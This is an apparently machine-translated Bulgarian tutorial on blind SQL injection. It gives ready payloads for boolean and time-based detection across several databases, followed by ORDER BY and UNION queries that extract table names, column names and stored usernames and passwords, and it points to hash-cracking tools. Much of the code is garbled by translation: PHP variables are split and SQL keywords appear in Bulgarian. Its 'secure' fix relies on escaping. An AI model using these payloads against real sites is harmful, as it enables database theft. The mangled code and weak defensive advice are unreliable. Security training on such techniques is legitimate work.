Сигурност

Урок за слепи SQL инжекционни техники

Урок за слепи SQL инжекционни техники

Какво е SQL Injection?

SQL Injection е вид атака на база данни, при която нападателят се опитва да открадне информация от базата данни на уеб приложение. Това може дори да доведе до дистанционно изпълнение на код в зависимост от средата на уеб приложението и версията на базата данни.

Инжектирането на SQL се случва поради лоша дезинфекция на потребителския вход. Ако вземете въвеждане от потребителя на някакъв език за кодиране (PHP, ASP.NET) и го предава директно в базата данни на сървъра, без да прилага никакъв филтър на входа, това може да доведе до уязвимост на SQL Injection.

Например, следният PHP код е уязвим за SQL Injection атака, тъй като предава директно потребителския вход в базата данни. Атакуващият може да създаде собствена заявка за злонамерена база данни, за да извлече данни от базата данни.

// Потребителското въвеждане се съхранява в променлива id
$ id = $ _GET ['id'];
// Потребителското въвеждане се изпълнява директно в базата данни
$ getid = "ИЗБЕРЕТЕ първо име, последно име ОТ потребители WHERE user_id = '$ id'";
// В случай на грешка или успех, резултатите се връщат на потребителя
$ result = mysql_query ($ getid) или die ('
' . mysql_error () . '
');
$ num = mysql_numrows ($ резултат);

От друга страна е даден пример за защитен код на такъв код за взаимодействие с базата данни. Той взема потребителско въвеждане и филтрира всички злонамерени знаци от него, след което го предава в базата данни.

$ id = $ _GET ['id'];
$ id = наклонени черти ($ id);
$ id = mysql_real_escape_string ($ id);

Нормално срещу сляпо SQL инжектиране

Нормално SQL инжектиране

При нормално SQL инжектиране, ако нападателят се опита да постави единична кавичка (') като вход, когато тази единична кавичка се изпълни в базата данни, базата данни отговаря с грешка. Грешката се отпечатва в браузъра на нападателя.

Кодът, отговорен за тази грешка, е

// ако базата данни отговори с грешка, функцията “or die ()” се изпълнява
за да отпечатате грешката
$ result = mysql_query ($ getid) или die ('
' . mysql_error () . '
');

В нормалното SQL инжектиране нападателят може да види резултатите от грешката и е лесно да се идентифицира и експлоатира.

Сляпо SQL инжектиране

В случай на сляпо SQL инжектиране, когато се изпълнява злонамерена заявка, като единична оферта, грешката в базата данни не се показва в браузъра на атакуващия или се показва по много общ начин, който не може да бъде идентифициран и експлоатиран лесно от нападателя.

Бекенд кодът, отговорен за това, е даден по-долу

$ резултат = mysql_query ($ getid); // Премахнато „или умри“ за потискане на грешките в mysql

В Blind SQL Injection, нападателят не може да види пълните резултати, поради което този тип SQLi е трудно да се идентифицира и експлоатира, но има същото ниво на риск като при нормалния SQLi.

Техники за откриване на сляпо SQL инжектиране

Докато нормалното SQL инжектиране може да бъде открито чрез изпращане на единична кавичка (') като вход и изследване на изходната грешка, сляпо SQL инжектиране не може да бъде открито с помощта на тази техника, защото не показва никаква SQL грешка. Има много техники за откриване на Blind SQL инжекция, някои от тях са дадени по следния начин

ИСТИННО и ЛЪЖНО Базирано откриване

Една от характеристиките на базите данни, включително MySQL, е различното поведение при True и False изрази. Дори ако базата данни не показва грешки, ние можем да решим да използваме True и False изрази. Обмислете следния сценарий,

Следващата страница е уязвима за Blind SQL инжектиране, като й даде вярно изявление, което ще покаже всички записи в базата данни

1 'или 1 = 1 #

Даването на грешна заявка като вход няма да покаже никакви данни.

1 'или 1 = 2 #

Дори уеб страницата не показва грешки, разликата между двете страници показва, че нашите заявки се изпълняват успешно в базата данни.

Детекция, базирана на ВРЕМЕ

Има функция в бази данни, включително MySQL, MS-SQL и други за закъснения. Можем да използваме функцията SLEEP () в нашата заявка, ако отговорът на базата данни е бавен, което означава, че заявката ни се изпълнява успешно и уеб страницата е уязвима за Blind SQL Injection.

1 'И сън (15) #

Има и друга отнемаща време функция „BENCHMARK“, която може да се използва за забавяне на отговора на базата данни

1 'И БЕНЧМАРК (10000000, SHA1 (1337)) #

Горният ред ще изпълни функцията SHA1 () 10000000 пъти в базата данни, което ще добави значително количество закъснение в отговор.

Базирано на времето сляпо SQL инжектиране в други бази данни

MS SQL: ID = 1; изчакване за забавяне '0: 0: 10'-

ORACLE SQL: И [RANDNUM] = DBMS_PIPE.RECEIVE_MESSAGE ('[RANDSTR]', [SLEEPTIME])

PostgreSQL: И [RANDNUM] = (ИЗБЕРЕТЕ [RANDNUM] ОТ PG_SLEEP ([SLEEPTIME]))

SQLite: И [RANDNUM] = LIKE ('ABCDEFG', GOR (HEX (RANDOMBLOB ([SLEEPTIME] 00000000/2))))

Извличане на информация от база данни

Първата стъпка от извличането на база данни е определяне на номера на колони в базата данни. След това се опитайте да намерите уязвими колони за извличане на допълнителни данни.

Сляпото SQL инжектиране се държи по различен начин с различни номера на колони при заявка „подреждане по“.

1 'поръчка от 1 #

Горното твърдение е вярно, защото в базата данни винаги съществува поне 1 колона. Сега опитайте с много голям брой.

1 'поръчка от 10000 #

Отговорът на базата данни е различен от предишния. Сега опитайте с 2 колони.

Изявлението работи, което означава, че базата данни има 2 или повече колони. Сега опитайте с 3 колони.

1 'поръчка от 3 #

Базата данни не е изпратила отговор, което означава, че базата данни има само 2 колони. Сега ще се опитаме да изхвърлим списъка с таблици в базата данни, ще използваме следната заявка за това

1 'съюз всички изберете 1, group_concat (име_на_таблица) от information_schema.
таблици, където table_schema = база данни () #

Има две таблици в базата данни „книга за гости и потребители“. Таблицата „потребители“ може да съдържа потребителски имена и пароли. За да извлечете имена на колони от таблицата, вмъкнете следната заявка.

1 'съюз всички изберете 1, group_concat (име_на колона) от information_schema.
колони, където table_schema = база данни () #

Сега сме извлекли имена на колони, това включва колони на потребител и парола. Тези колони съхраняват потребителските имена на клиентите и техните пароли.

Сега ще се опитаме да извлечем данните, като използваме следната заявка

1 'съюз всички изберете 1, group_concat (потребител, парола) от потребители #

И по този начин можете да използвате Blind SQL Injection, без да разчитате на грешки. Паролите за изход се хешират през повечето време, което може да се дешифрира с помощта на инструменти като John The Ripper или Hashcat.

Заключение:

Сляпото SQL инжектиране е типът SQLi, който не показва грешки в базата данни или отговаря с много общо съобщение. Ето защо е много трудно да се идентифицира уязвимостта на Blind SQL Injection в уеб страница. След като бъде открит, можете лесно да го използвате чрез ръчен или автоматизиран процес с помощта на SQLmap.

Топ 5 продукти за ергономична компютърна мишка за Linux
Продължителната употреба на компютър причинява ли болка в китката или пръстите? Страдате ли от схванати стави и постоянно ли ви се налага да си ръкува...
Как да променяте настройките на мишката и тъчпада с помощта на Xinput в Linux
Повечето дистрибуции на Linux се доставят с библиотека “libinput” по подразбиране за обработка на входни събития в системата. Той може да обработва вх...
Пренастройте бутоните на мишката си по различен начин за различен софтуер с X-Mouse Button Control
Може би се нуждаете от инструмент, който може да промени контрола на мишката с всяко приложение, което използвате. Ако случаят е такъв, можете да изпр...